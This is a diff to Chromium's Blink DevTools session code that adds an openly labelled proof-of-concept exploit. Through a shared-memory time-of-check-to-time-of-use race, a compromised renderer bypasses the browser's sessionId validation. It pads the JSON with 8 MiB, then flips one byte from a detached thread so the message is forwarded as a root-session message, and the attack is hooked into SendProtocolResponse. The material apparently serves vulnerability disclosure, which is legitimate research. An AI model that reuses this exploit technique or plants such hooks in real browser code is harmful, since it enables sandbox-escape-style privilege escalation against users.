diff --git a/third_party/blink/renderer/core/inspector/devtools_session.cc b/third_party/blink/renderer/core/inspector/devtools_session.cc index b8d52566b800b..e7276b61cf5ba 100644 --- a/third_party/blink/renderer/core/inspector/devtools_session.cc +++ b/third_party/blink/renderer/core/inspector/devtools_session.cc @@ -4,11 +4,17 @@ #include "third_party/blink/renderer/core/inspector/devtools_session.h" +#include #include +#include #include #include #include "base/compiler_specific.h" +#include "base/threading/platform_thread.h" +#include "base/time/time.h" +#include "mojo/public/cpp/base/big_buffer.h" +#include "mojo/public/cpp/system/buffer.h" #include "base/notimplemented.h" #include "base/notreached.h" #include "base/task/sequenced_task_runner.h" @@ -43,6 +49,101 @@ namespace { const char kV8StateKey[] = "v8"; const char kSessionId[] = "sessionId"; +// =========================================================================== +// POC: BigBuffer TOCTOU defeats DevToolsSession::ValidateMessage (browser). +// +// A compromised renderer crafts a DevToolsMessage whose BigBuffer payload is +// the shared-memory arm. The renderer keeps a writable mapping of the same +// region. The buffer initially contains valid JSON with the correct +// "sessionId", so the browser-side ValidateMessage() check passes. The JSON +// also contains a multi-megabyte padding string that causes ConvertJSONToCBOR +// (inside ValidateMessage) to spend many milliseconds scanning the buffer +// *after* it has already read the sessionId bytes. While the browser is still +// inside that window, the renderer flips one byte to rename the "sessionId" +// key to "sessionXd". The browser then forwards the *live* shared-memory span +// to the DevTools client (no copy), so the client receives a notification +// with NO sessionId — i.e. a root-session message — bypassing the check. +// =========================================================================== +struct ToctouState { + // Writable mapping the renderer retains while the browser reads the same + // physical pages. + mojo::ScopedSharedBufferMapping mapping; + // Byte offset of the 'I' in "sessionId" inside the JSON payload. + size_t flip_offset = 0; + std::atomic armed{false}; +}; + +ToctouState& GetToctouState() { + static ToctouState* state = new ToctouState(); + return *state; +} + +void ToctouMutatorThread(int delay_ms) { + ToctouState& st = GetToctouState(); + // Give the browser UI thread time to receive the Mojo message and start + // ConvertJSONToCBOR — it reads the sessionId bytes within microseconds of + // starting, then spends much longer scanning the megabytes of padding. + base::PlatformThread::Sleep(base::Milliseconds(delay_ms)); + if (!st.mapping) { + return; + } + volatile uint8_t* p = static_cast(st.mapping.get()); + // Rename "sessionId" -> "sessionXd": validation already cached the GOOD + // value, but the forwarded bytes will have NO sessionId key. + UNSAFE_BUFFERS(p[st.flip_offset]) = 'X'; + fprintf(stderr, + "[TOCTOU-POC][renderer] mutated shared memory after %d ms: " + "sessionId key renamed to sessionXd\n", + delay_ms); +} + +mojom::blink::DevToolsMessagePtr BuildToctouNotification( + const std::string& good_session_id, + size_t pad_bytes) { + ToctouState& st = GetToctouState(); + + // JSON layout (sessionId FIRST so ConvertJSONToCBOR reads it before the + // huge padding string): + // {"sessionId":"","method":"TOCTOU.spoofed","params":{"pad":"AAA…"}} + std::string head = + std::string("{\"sessionId\":\"") + good_session_id + + "\",\"method\":\"TOCTOU.spoofed\",\"params\":{\"pad\":\""; + std::string tail = "\"}}"; + size_t total = head.size() + pad_bytes + tail.size(); + + // Create the shared buffer and KEEP a writable mapping. + mojo::ScopedSharedBufferHandle handle = + mojo::SharedBufferHandle::Create(total); + CHECK(handle.is_valid()); + st.mapping = handle->Map(total); + CHECK(st.mapping); + uint8_t* mem = static_cast(st.mapping.get()); + UNSAFE_BUFFERS(memcpy(mem, head.data(), head.size())); + UNSAFE_BUFFERS(memset(mem + head.size(), 'A', pad_bytes)); + UNSAFE_BUFFERS(memcpy(mem + head.size() + pad_bytes, tail.data(), + tail.size())); + // Offset of 'I' in `{"sessionId"` is 9. + CHECK_EQ(UNSAFE_BUFFERS(mem[9]), 'I'); + st.flip_offset = 9; + + // Clone the handle for sending; the receiver will map the SAME physical + // memory read-write (big_buffer.cc maps with default permissions). + mojo::ScopedSharedBufferHandle dup = + handle->Clone(mojo::SharedBufferHandle::AccessMode::READ_WRITE); + CHECK(dup.is_valid()); + + // Force the kSharedMemory arm regardless of payload size. + mojo_base::internal::BigBufferSharedMemoryRegion region(std::move(dup), + total); + CHECK(region.memory()); + auto msg = mojom::blink::DevToolsMessage::New(); + msg->data = mojo_base::BigBuffer(std::move(region)); + CHECK_EQ(msg->data.storage_type(), + mojo_base::BigBuffer::StorageType::kSharedMemory); + return msg; +} +// =========================================================================== + bool ShouldInterruptForMethod(const String& method) { return method != "Debugger.evaluateOnCallFrame" && method != "Runtime.evaluate" && method != "Runtime.callFunctionOn" && @@ -389,6 +490,32 @@ void DevToolsSession::SendProtocolResponse(int call_id, host_remote_->DispatchProtocolResponse( FinalizeMessage(std::move(message), call_id), call_id, session_state_.TakeUpdates()); + + // ---- POC trigger (compromised-renderer simulation) ----------------------- + // Fire the TOCTOU attack the first time this child session sends any + // response. A real attacker would do this from injected shellcode; here we + // hook the legitimate response path for convenience. + if (!session_id_.empty()) { + ToctouState& st = GetToctouState(); + bool expected = false; + if (st.armed.compare_exchange_strong(expected, true)) { + constexpr size_t kPadBytes = 8 * 1024 * 1024; // 8 MiB of JSON padding. + constexpr int kMutateDelayMs = 20; + fprintf(stderr, + "[TOCTOU-POC][renderer] sending shared-memory " + "DispatchProtocolNotification (sessionId=%s, %zu-byte payload)\n", + session_id_.Ascii().c_str(), + kPadBytes); + auto attack_msg = + BuildToctouNotification(session_id_.Ascii(), kPadBytes); + host_remote_->DispatchProtocolNotification(std::move(attack_msg), + nullptr); + // Mutate from a detached thread so the renderer main thread keeps + // pumping Mojo while the browser is parsing the giant JSON. + std::thread(ToctouMutatorThread, kMutateDelayMs).detach(); + } + } + // ------------------------------------------------------------------------- } void DevToolsSession::SendProtocolNotification(